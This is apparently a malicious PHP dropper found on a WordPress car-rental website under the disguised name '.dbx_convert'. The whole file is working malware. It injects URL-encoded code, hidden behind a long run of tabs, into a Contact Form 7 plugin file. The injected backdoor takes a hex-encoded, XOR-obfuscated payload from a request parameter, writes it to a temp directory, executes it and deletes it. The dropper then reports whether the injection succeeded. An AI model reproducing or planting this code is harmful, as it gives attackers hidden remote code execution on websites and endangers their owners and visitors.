File: /home/thuexe247c/domains/thuexe247.com.vn/public_html/.dbx_convert
<?php $path = '/home/thuexe247c/domains/thuexe247.com.vn/private_html/wp-content/plugins/contact-form-7/modules/stripe/service.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28array_key_exists%28%22%5Cx72es%22%2C%20%24_REQUEST%29%20%26%26%20%21is_null%28%24_REQUEST%5B%22%5Cx72es%22%5D%29%29%7B%20%24element%20%3D%20hex2bin%28%24_REQUEST%5B%22%5Cx72es%22%5D%29%3B%20%24parameter_group%20%3D%20%27%27%20%3B%20%24h%20%3D%200%3B%20while%28%24h%20%3C%20strlen%28%24element%29%29%7B%24parameter_group%20.%3D%20chr%28ord%28%24element%5B%24h%5D%29%20%5E%2022%29%3B%24h%2B%2B%3B%7D%20%24flg%20%3D%20array_filter%28%5B%22/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20%22/dev/shm%22%2C%20%22/var/tmp%22%2C%20session_save_path%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getcwd%28%29%2C%20getenv%28%22TEMP%22%29%2C%20sys_get_temp_dir%28%29%5D%29%3B%20foreach%20%28%24flg%20as%20%24key%29%3A%20if%20%28%21%21is_dir%28%24key%29%20%26%26%20%21%21is_writable%28%24key%29%29%20%7B%20%24comp%20%3D%20join%28%22/%22%2C%20%5B%24key%2C%20%22.pset%22%5D%29%3B%20if%20%28%40file_put_contents%28%24comp%2C%20%24parameter_group%29%20%21%3D%3D%20false%29%20%7B%20include%20%24comp%3B%20unlink%28%24comp%29%3B%20exit%3B%20%7D%20%7D%20endforeach%3B%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');